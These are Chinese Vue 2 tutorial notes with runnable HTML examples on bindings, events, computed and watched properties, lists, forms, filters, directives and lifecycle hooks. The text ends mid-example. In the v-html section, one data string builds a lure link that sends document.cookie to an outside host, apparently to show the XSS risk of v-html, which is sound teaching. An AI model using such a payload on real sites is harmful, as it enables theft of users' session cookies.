Vue实现
数据->虚拟DOM->页面真实DOM
原始虚拟DOM与新的虚拟DOM通过Diff比较
1.1学Vue前准备:
ES6语法规范
ES6模块化
包管理器
原型、原型链
数组常用方法
axios
promise
1.2初识Vue
1、想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象
2、root容器里的代码依然符号html规范,只不过混入了一些特殊的Vue语法
3、root容器里的代码被称为【Vue模板】
4、Vue实例和容器是一一对应的
5、真实开发只有一个Vue实例,并且会配合着组件一起使用
6、{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中所有属性
7、一旦data数据发生改变,那么页面中用到
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>初识Vue</title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div class="root">
<h1>Hello,world!Hello,{{name.toUpperCase()}},{{address}},{{Date.now()}} </h1>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止vue在启动时生成提示
//创建Vue实例
const x = new Vue({
el:'.root', //el用于绑定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
data:{
//data用于存储数据,数据供el所指定的容器使用,值我们暂时先写成一个对象
name:'天海',
address:'北京'
}
})
</script>
</body>
</html>
1.3数据绑定
1、单向绑定(v-bind):数据只能从data流向页面
2、双向绑定(v-model):数据不仅能从data流向页面,也能从页面流向data
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>数据绑定</title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
单向数据绑定:<input type="text" v-bind:value="name">
<br>
双向数据绑定:<input type="text" v-model:value="name">
<!--如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)-->
<h2 v-model:x="name">你好啊</h2>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
name:'海'
}
})
</script>
</html>
1.4el与data的两种写法
el:
(1)new Vue时配置el属性
(2)先创建Vue实例,随后再通过vm.$mount(’#root’)指定el的值
data:
(1)对象式
(2)函数式
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>数据绑定</title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<h1>你好,{{name}}</h1>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
/*
//el 的两种写法
const v = new Vue({
//el:'#root',
data:{
name:'海'
}
})
console.log(v)
v.$mount('#root')
*/
//data的两种写法
new Vue({
el:'#root',
//data的第一种写法 :对象式
/*data:{
name:'上上海'
}*/
//data的第二种写法:函数式
data(){
console.log('@@@',this);
return{
name:'上上海'
}
}
})
</script>
</html>
1.5MVVM模型
M:模型:对应data中的数据
V:视图:模板
VM:视图模型:Vue实例对象
注意:data中所有属性最后都出现在了vm身上
vm、Vue原型身上的所有属性在Vue模板都可以直接使用
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>数据绑定</title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<h1>学校名称:{{name}}</h1>
<h1>学校地址:{{address}}</h1>
<h1>{{1+1}}</h1>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el:'#root',
data:{
name:'辽科',
address:'辽宁'
}
})
console.log(vm);
</script>
</html>
1.6数据代理
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>object.defineproperty方法</title>
</head>
<body>
<script>
let number = 18;
let person = {
name:'张三',
sex:'男',
};
Object.defineProperty(person,'age',{
//value:18,
//enumerable:true,//控制属性是否可以枚举,默认值是false
//writable:true,//控制属性是否可以被修改,默认值是false
//configurable:true//控制属性是否可以被删除,默认值是false
//当有人读取person的age属性时,get函数就会被调用,且返回值就是age的值
get:function(){
console.log('有人读取age属性了');
return '55'
},
//当有人修改person的age属性时,set函数就会被调用,且会受到修改的具体值
set(value){
console.log('有人修改了age属性,且值是',value);
number = value
}
})
console.log(person);
//console.log(Object.keys(person));
</script>
</body>
</html>
3、Vue中的数据代理
何为数据代理:
通过一个对象代理对另一个对象中属性的操作
通过vm对象来代理data对象中属性的操作
let obj = {x:100}
let obj2 = {y:200}
//想通过obj2能读到x和修改x
Object.defineProperty(obj2,'x',{
get(){
return obj.x
},
set(value){
obj.x = value
}
})
好处:更方便操作data中的数据
基本原理:通过Object.defineProperty()把data对象中所有属性添加到vm上,为每一个添加到vm上的属性都指定一个getter/setter
在getter/setter内部去操作data中对应的属性
1.7事件处理
1、事件的基本使用
v-on:xxx或@xxx 绑定事件,其中xxx是事件名
事件的回调需要配置在methods对象中,最终会在vm
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>数据绑定</title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<!--<button v-on:click="showInfo" >点我提示信息</button>-->
<button @click="showInfo1">点我提示信息1(不传参)</button>
<button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
</div>
</body>
<script type="text/javascript">
Vue.config.production = false
const vm = new Vue({
el:"#root",
data:{
name:'海尔'
},
methods:{
showInfo1(event){
alert('hello')
},
showInfo2(event,number){
console.log(number);
}
},
}
)
</script>
</html>
2、Vue中的事件修饰符
prevent:阻止默认事件(常用)
stop:阻止事件冒泡(常用)
once:事件只触发一次(常用)
capture:使用事件的捕获模式
self:只有event.target是当前操作的元素时才触发事件
passive:事件的默认行为立即执行,无需等待事件回调执行完毕
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>数据绑定</title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
<style>
*{
margin-top: 20px;
}
.demo1{
height: 50px;
background-color : skyblue;
}
.demo2{
padding: 5px;
background-color: skyblue;
}
.demo3{
padding: 5px;
background-color: orange;
}
.list{
width: 200px;
height: 200px;
background-color: orangered;
overflow: auto;
}
li{
height: 100px;
}
</style>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<!--prevent为事件修饰符-->
<!--阻止默认事件-->
<a href="http://www.baidu.com" @click.prevent="showInfo" >点我提示信息</a>
<!--阻止事件冒泡-->
<div class="demo1" @click="showInfo">
<button @click.stop ="showInfo">点我提示信息</button>
</div>
<!--事件只触发一次-->
<button @click.once="showInfo">点我提示信息</button>
<!--使用事件的捕获模式-->
<div class="demo2" @click="showMsg(1)">
div1
<div class="demo3" @click="showMsg(2)">
div2
</div>
</div>
<!--只有event.target是当前操作的元素时才触发事件-->
<div class="demo1" @click.self="showInfo">
<button @click ="showInfo">点我提示信息</button>
</div>
<!--事件的默认行为立即执行,无需等待事件回调执行完毕-->
<!--滚动条滚动
<ul @scroll="demo" class="list">不需要加passive也能有passive的功能
-->
<ul @wheel.passive="demo" class="list">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.production = false;
new Vue({
el:'#root',
data:{
name:'乌托邦'
},
methods:{
showInfo(e){
//正常阻止默认行为
//e.preventDefault()
//正常阻止事件冒泡
//e.stopPropagation()
alert("同学你好")
//console.log(e.target);
},
showMsg(msg){
console.log(msg);
},
demo(){
for (let i = 0; i < 10000; i++) {
console.log('#');
}
}
}
})
</script>
</html>
3、键盘事件
(1)Vue中常用的按键别名
回车:enter——编码:13
删除:delete
退出:esc
空格:space
换行:tab
上下左右:up\down\left\right
(2)系统修饰键:ctrl、alt、shift、meta
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>数据绑定</title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<!--keydown和keyup
@keyup.caps-lock="showInfo"
@keydown.tab="showInfo"
-->
<input type="text" placeholder="按下回车提示输入" @keydown.ctrl="showInfo">
</div>
</body>
<script type="text/javascript">
Vue.config.production = false
Vue.config.keyCodes.huiche = 13//定义了一个别名按键
new Vue({
el:'#root',
data:{
name:'辽宁科技学院'
},
methods:{
showInfo(e){
//console.log(e.target.value);
console.log(e.key,e.keyCode);
}
}
})
</script>
</html>
1.8计算属性
一旦data内的数据改变那么vue就会重新解析模板
插值语法实现
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title></title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
姓:<input type="text" v-model="firstName"><br>
名:<input type="text" v-model="lastName"><br>
全名:<span>{{firstName.slice(0,3)}}{{lastName}}</span>
</div>
</body>
<script type="text/javascript">
Vue.config.production = false
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三'
}
})
</script>
</html>
methods实现
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title></title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
姓:<input type="text" v-model="firstName"><br/><br/>
名:<input type="text" v-model="lastName"><br/><br/>
全名:<span>{{fullName()}}</span>
</div>
<script type="text/javascript">
Vue.config.production = false
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三'
},
methods:{
fullName(){
console.log('@---fullName');
return this.firstName + '-' + this.lastName
}
}
})
</script>
</body>
</html>
计算属性实现
1、定义:要用的属性不存在,要通过已有属性计算得来
2、原理:底层借助Object.defineproperty方法提供的getter和setter
优势:与methods实现相比。内部有缓存机制,效率高
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title></title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
姓:<input type="text" v-model="firstName"><br/><br/>
名:<input type="text" v-model="lastName"><br/><br/>
全名:<span>{{fullName}}</span>
</div>
<script type="text/javascript">
Vue.config.production = false
const vm = new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三'
},
computed:{
//完整写法
/*
fullName:{
//当有人读取fullName时,get就会被调用,且返回值作为fullName的值
//get什么时候调用?1、初次读取fullName时。2、所依赖的数据发生变化时。
//完整写法
get(){
console.log('get被调用了');
//console.log(this);此处的this为vm
return this.firstName + '-' + this.lastName
},
set(value){
console.log('set',value);
const arr = value.split('-')
this.firstName = arr[0]
this.lastName = arr[1]
}
*/
//简写:只考虑读,不考虑修改
fullName(){
console.log('get被调用了');
return this.firstName + '-' + this.lastName
}
}
})
</script>
</body>
</html>
1.9监视属性
天气案例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>天气案例</title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<h2>今天天气很{{info}}</h2>
<!--<button @click='isHot = !isHot;x++'>切换天气</button>-->
<button @click='changeWeather'>切换天气</button>
</div>
</body>
<script type="text/javascript">
Vue.config.production = false
new Vue({
el:'#root',
data:{
isHot:false,
},
computed:{
info(){
return this.isHot ? '炎热' : '凉爽'
}
},
methods: {
changeWeather(){
this.isHot= !this.isHot;
}
},
})
</script>
</html>
监视属性watch:
1、当监视的属性变化时,回调函数(handler)自动调用,进行相关操作
2、监视的属性必须存在,才能进行监视!
3、监视的两种写法:
(1)new Vue时传入watch配置
(2)通过vm.$watch配置
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>2.天气案例_监视属性</title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<h2>今天天气很{{info}}</h2>
<!--<button @click='isHot = !isHot;x++'>切换天气</button>-->
<button @click='changeWeather'>切换天气</button>
</div>
</body>
<script type="text/javascript">
Vue.config.production = false
const vm = new Vue({
el:'#root',
data:{
isHot:true,
},
computed:{
info(){
return this.isHot ? '炎热' : '凉爽'
}
},
methods: {
changeWeather(){
this.isHot= !this.isHot;
}
},
//配置监视
/*watch:{
isHot:{
immediate:true,//初始化时让handler调用一下
//handler什么时候调用,当isHot发生改变时
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue);
}
}
}*/
})
vm.$watch('isHot',{
immediate:true,//初始化时让handler调用一下
//handler什么时候调用,当isHot发生改变时
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue);
}
})
</script>
</html>
深度监视:
Vue中的watch默认不监测对象内部值的改变(一层)
配置deep:true可以监测对象内部值改变(多层)
备注:
Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!
使用watch时根据数据的具体结构决定是否采用深度监视
computed和watch之间的区别
computed能完成的功能,watch都可以完成
watch能完成的,computed不一定能完成,例如:watch可以进行异步操作
1.10绑定样式
<!--绑定class样式:字符串写法,适用于:样式的类名不确定,需要动态指定-->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div>
<!--绑定class样式:数组写法,适用于:要绑定的样式个数不确定、名字不确定-->
<div class="basic" :class="classArr">{{name}}</div><br>
<!--绑定class样式:对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用-->
<div class="basic" :class="classObj">{{name}}</div>
<!--改样式-->
<div class="basic" :style="styleObj">{{name}}</div>
<script type="text/javascript">
const vm = new Vue({
el:'#root',
data:{
name:'辽宁科技学院',
mood:'normal',
classArr:['a1','a2','a3'],
classObj:{
a1:false,
a2:false
},
styleObj:{
fontSize:'40px'
}
},
methods: {
changeMood(){
this.mood = 'happy'
}
},
})styleObj:{
fontSize:'40px'
}
</script>
1.11条件渲染
v-show='false'
——display:None
隐藏
v-if='false'
——结构也消失(无代码)
<div id="root">
<h2>当前的n值为:{{n}}</h2>
<button @click='n++'>点我n+1</button>
<div v-if="n === 1">A</div>
<div v-else-if="n === 2">B</div>
<div v-else-if="n === 3">C</div>
<div v-else>哈哈</div>
</div>
</body>
<script type="text/javascript">
Vue.config.production = false
new Vue({
el:'#root',
data:{
name:'辽宁科技学院',
n:0
}
})
</script>
1.12列表渲染
v-for
指令用于展示列表数据
语法:v-for="(item, index) in xxx" :key="yyy"
可遍历:数组、对象、字符串、指定次数
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>基本列表</title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<!--遍历数组-->
<ul>
<li v-for="(p,index) of people" :key="index">
{{p.name}}-{{p.age}}-{{index}}
</li>
</ul>
<!--遍历对象-->
<ul>
<li v-for="(value,k) of car" :key="k">
{{k}}-{{value}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.production = false
new Vue({
el:'#root',
data:{
people:[
{id:'001',name:'张三',age:18},
{id:'002',name:'张四',age:19},
{id:'003',name:'张五',age:18}
],
car:{
name:'奥迪A8',
price:'100000',
color:'黑色'
}
}
})
</script>
</html>
key的原理
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>基本列表</title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<!--遍历数组-->
<h2>人员列表(遍历数组)</h2>
<button @click.once="add">添加一个老刘</button>
<ul>
<li v-for="(p,index) of people" :key="p.id">
{{p.name}}-{{p.age}}
<input type="text">
</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
people:[
{id:'001',name:'张三',age:18},
{id:'002',name:'张四',age:19},
{id:'003',name:'张五',age:18}
]
},
methods: {
add(){
const p ={id:'004',name:'老刘',age:40}
this.people.unshift(p)
}
},
})
</script>
</html>
面试题:React、vue中的key有什么作用?(key的内部管理)
1、虚拟DOM中key的作用:
key是虚拟DOM对象的标识,当数据发生改变时,Vue会根据新数据生成新的虚拟DOM,随后进行新虚拟DOM与旧虚拟DOM的对比,2、对比规则如下:
当虚拟DOM和新的虚拟DOM一致时,则直接使用之前的真实DOM
当虚拟DOM和新的虚拟DOM不一致时,则生成新的真实DOM,替换掉原来的真实DOM
3、index的不足:
当执行需要逆序插入、删除等或破坏结构顺序的操作时:会产生没有必要的真实DOM更新 ==> 界面效果没问题,但效率低
如果包含输入类的DOM:会产生错误DOM更新 ==> 界面有问题
4、开发中如何选择key
选择唯一标识
如果不存在index不足的满足条件,使用index作为key没问题
Vue.set(vm._data.student,'sex','男')
列表过滤:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>列表过滤</title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord">
<ul>
<li v-for="(p,index) of filPeople" :key="index">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
/*用watch实现
new Vue({
el:'#root',
data:{
keyWord:'',
people:[
{id:'001',name:'马冬梅',age:19,sex:'女'},
{id:'002',name:'周冬雨',age:20,sex:'女'},
{id:'003',name:'周杰伦',age:21,sex:'男'},
{id:'004',name:'温兆伦',age:22,sex:'女'}
],
filPeople:[]
},
watch:{
keyWord:{
immediate:true,
handler(val){
this.filPeople = this.people.filter((p)=>{
return p.name.indexOf(val) !== -1
})
}
}
}
})
*/
//用computed实现
new Vue({
el:'#root',
data:{
keyWord:'',
people:[
{id:'001',name:'马冬梅',age:19,sex:'女'},
{id:'002',name:'周冬雨',age:20,sex:'女'},
{id:'003',name:'周杰伦',age:21,sex:'男'},
{id:'004',name:'温兆伦',age:22,sex:'女'}
],
},
computed:{
filPeople(){
return this.people.filter((p)=>{
return p.name.indexOf(this.keyWord) !== -1
})
}
}
})
</script>
</html>
列表排序
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>列表排序</title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord">
<button @click="sortType = 2">年龄升序</button>
<button @click="sortType = 1">年龄降序</button>
<button @click="sortType = 0">原顺序</button>
<ul>
<li v-for="(p,index) of filPeople" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
keyWord:'',
sortType:0, //0原顺序 1降序 2升序
people:[
{id:'001',name:'马冬梅',age:30,sex:'女'},
{id:'002',name:'周冬雨',age:31,sex:'女'},
{id:'003',name:'周杰伦',age:21,sex:'男'},
{id:'004',name:'温兆伦',age:22,sex:'女'}
],
},
computed:{
filPeople(){
const arr = this.people.filter((p)=>{
return p.name.indexOf(this.keyWord) !== -1
})
if(this.sortType){
arr.sort((p1,p2)=>{
return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
})
}
return arr
}
}
})
</script>
</html>
模拟数据监测:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>7.模拟一个数据监测</title>
<script type="text/javascript">
let data = {
name:'我',
address:'锦州'
}
//创建一个监视的实例对象,用于监视data中属性的变化
const obs = new Observer(data)
console.log(obs)
//准备一个vm实例对象
let vm = {}
vm._data = data = obs
function Observer(obj){
//汇总对象中所有的属性形成一个数组
const keys = Object.keys(obj)
//遍历
keys.forEach((k)=>{
Object.defineProperty(this,k,{
get(){
return obj[k]
},
set(val){
console.log(`${k}被改了,我要去解析模板,生成虚拟DOM...`);
obj[k] = val
}
})
})
}
</script>
</head>
<body>
</body>
</html>
在Vue修改数组中的某个元素一定要用如下方法:
1、使用API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
2、Vue.set()或vm.$set()
总练习
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>10.总结练习数据监测</title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<h1>学生信息</h1>
<button @click="student.age++">年龄+1岁</button><br/>
<button @click="addSex">添加性别属性,默认值:男</button><br/>
<button @click="student.sex = '未知' ">修改性别</button><br/>
<button @click="addFriend">在列表首位添加一个朋友</button><br/>
<button @click="updatFirstFriendName">修改第一个朋友的名字为:张三</button><br/>
<button @click="addHobby">添加一个爱好</button><br/>
<button @click="updatFirstHobby">修改第一个爱好为:开车</button><br/>
<button @click="removeSmoke">过滤掉爱好中的抽烟</button><br/>
<h3>姓名:{{student.name}}</h3>
<h3>年龄:{{student.age}}</h3>
<h3 v-if="student.sex">性别:{{student.sex}}</h3>
<h3>爱好:</h3>
<ul>
<li v-for="(h,index) in student.hobby" :key="index">
{{h}}
</li>
</ul>
<ul>
<li v-for="(f,index) in student.friends" :key="index">
{{f.name}}--{{f.age}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el:'#root',
data:{
student:{
name:'tom',
age:18,
hobby:['抽烟','喝酒','烫头'],
friends:[
{name:'jerry',age:35},
{name:'tony',age:36}
]
}
},
methods: {
addSex(){
Vue.set(this.student,'sex','男')
// this.$set(this.student,'sex','男')
},
addFriend(){
this.student.friends.unshift({name:'jack',age:70})
},
updatFirstFriendName() {
this.student.friends[0].name = '张三'
this.student.friends[0].age = '17'
},
addHobby(){
this.student.hobby.push('打代码')
},
updatFirstHobby(){
this.student.hobby.splice(0,1,'开车')
// Vue.set(this.student.hobby,0,'开车')
// this.$set(this.student.hobby,0,'开车')
},
removeSmoke(who){
var who = this.student.hobby[0];
if(who == '抽烟'){
this.student.hobby = this.student.hobby.filter((h)=>{
return h !== '抽烟'
})
}
}
},
})
</script>
</html>
1.13收集表单数据
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>收集表单数据</title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<form @submit.prevent="submit" >
<label class="" for="demo">账号:</label>
<input type="text" id="demo1" v-model.trim="userInfo.account"></br></br>
<label class="" for="demo">密码:</label>
<input type="password" id="demo2" v-model="userInfo.password"></br></br>
年龄:<input type="number" v-model.number="userInfo.age"></br></br>
性别:
男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female"></br></br>
爱好:
学习<input type="checkbox" v-model="userInfo.hobby" value="study">
打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
</br></br>
所属校区
<select v-model="userInfo.city">
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="jinzhou">锦州</option>
</select></br></br>
其他信息:</br></br>
<textarea v-model.lazy="userInfo.other" cols="30" rows="10"></textarea></br></br>
<input type="checkbox" v-model="userInfo.agree" >
阅读并接受<a href="http://www.baidu.com" target="_blank">《用户协议》</a>
<button>提交</button>
</form>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
userInfo:{
account:'',
password:'',
age:'',
sex:'female',
hobby:[],
city:[],
other:'',
agree:''}
},
methods: {
submit(){
alert('提交成功')
console.log(JSON.stringify(this.userInfo));
}
},
})
</script>
</html>
1.14过滤器
定义:对要显示的数据进行特定格式化后再显示
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>14.过滤器</title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
<script type="text/javascript" src="../js/day.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<h2>显示格式化后的时间</h2>
computed实现
<h3>现在是{{fmTime}}</h3>
methods实现
<h3>现在是{{getFmtTime()}}</h3>
过滤器实现
<h3>现在是{{time | timeFormater}}</h3>
过滤器传参
<h3>现在是{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
v-bind用法
<h3 :x="msg | mySlice" >啊啊啊啊啊啊路飞</h3>
</div>
<div id="root2">
全局过滤器
<h2>{{msg |mySlice}}</h2>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
//全局过滤器
Vue.filter('mySlice',function(value){
return value.slice(0,4)
})
new Vue({
el:'#root',
data:{
time:1637337946506,
msg:'你好路飞'
},
computed:{
fmTime(){
// return dayjs(this.time).format('YYYY年MM月DD日HH:mm:ss')
return dayjs().format('YYYY年MM月DD日 HH:mm:ss')
}
},
methods: {
getFmtTime(){
return dayjs().format('YYYY年MM月DD日 HH:mm:ss')
}
},
//局部过滤器
filters:{
timeFormater(){
return dayjs().format('YYYY年MM月DD日 HH:mm:ss')
},
mySlice(value){
return value.slice(0,3)
}
}
})
new Vue({
el:'#root2',
data:{
msg:'helloaaaaa'
},
computed:{
fmTime(){
// return dayjs(this.time).format('YYYY年MM月DD日HH:mm:ss')
return dayjs().format('YYYY年MM月DD日 HH:mm:ss')
}
},
methods: {
getFmtTime(){
return dayjs().format('YYYY年MM月DD日 HH:mm:ss')
}
},
filters:{
timeFormater(){
return dayjs().format('YYYY年MM月DD日 HH:mm:ss')
}
}
})
</script>
</html>
1.15内置命令
v-text
:向其所在的节点中渲染文本内容(用的少)
<!--准备好一个容器-->
<div id="root">
<h2>{{name}}</h2>
<h2 v-text="name"></h2>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'人工智能'
}
})
</script>
v-html
:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>数据绑定</title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<h2>{{name}}</h2>
<h2 v-html="str"></h2>
<h2 v-html="str2"></h2>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
name:'人工智能',
str:'<h3>你好啊</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie target="blank">我花5万元买的python教程,现在免费来领取'
}
})
</script>
</html>
v-cloak
:
本质是一个特殊属性,vue实例创建完毕并接管容器后,会删掉v-cloak属性
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
v-once:
所在节点在初次渲染后,视为静态
v-pre:
跳过所在节点的编译过程
可以利用它跳过没有指令语法、插值语法的节点,加快编译
1.16自定义指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title></title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<!--需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的Input元素默认获取焦点-->
<div id="root">
<h2>当前的n值是:<span v-text='n'></span> </h2>
<h2>放大十倍后的n值是:<span v-big='n'></span> </h2>
<!-- <h2>放大十倍后的n值是:<span v-big-number='n'></span> </h2> -->
<button @click="n++">点我n+1</button>
<hr>
<input type="text" v-fbind:value="n">
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
n:1
},
directives:{
// 'big-number'(element,binding){
// element.innerText = binding.value * 10
// },
big(element,binding){
console.log('big',this);//此处的this是window
//big函数何时会被调用:
// 1、指令与元素成功绑定时
// 2、指令所在的模板被重新解析时
element.innerText = binding.value * 10
//instanceof :谁是不是谁的实例
// console.log(element,binding);
},
fbind:{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding) {
element.value = binding.value
}
}
}
})
</script>
</html>
自定义总结
局部指令:
new Vue({
directives:{指令名:配置对象}
})
或
new Vue({
directives:{指令名:回调函数}
})
全局指令:
Vue.directive(指令名,配置对象)或Vue.directive(指令名,回调函数)
指令定义时不加v-,但使用时要加v-
指令名如果是多个单词,要使用kebab-case(user-name),不要用camelCase(userName)
1.17生命周期
1、又名:生命周期回调函数、生命周期函数,生命周期钩子
2、为Vue在关键时刻帮我们调用的一些特殊名称的函数
3、生命周期函数的名字不可更改,但函数的具体内容是根据需求写的
4、生命周期函数中的this指向是 vm 或组件 实例对象
引出:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>引出生命周期</title>
<!--引入Vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<!-- <h2 :style="{opacity}">欢迎学习Vue</h2> -->
<h2 :style="{opacity}" >欢迎学习Vue</h2>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el:'#root',
data:{
opacity:1
},
methods: {
},
//Vue完成模板的解析并把初始的真实DOM元素放入页面后调用(挂在完毕 )
mounted() {
setInterval(() => {
this.opacity -= 0.01
if(vm.opacity <= 0) this.opacity = 1
},16)
},
})
// setInterval(() => {
// vm.opacity -= 0.01
// if(vm.opacity <= 0) vm.opacity = 1
// },16)
</script>
</html>
分析
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title></title>
<!--引入Vue-->
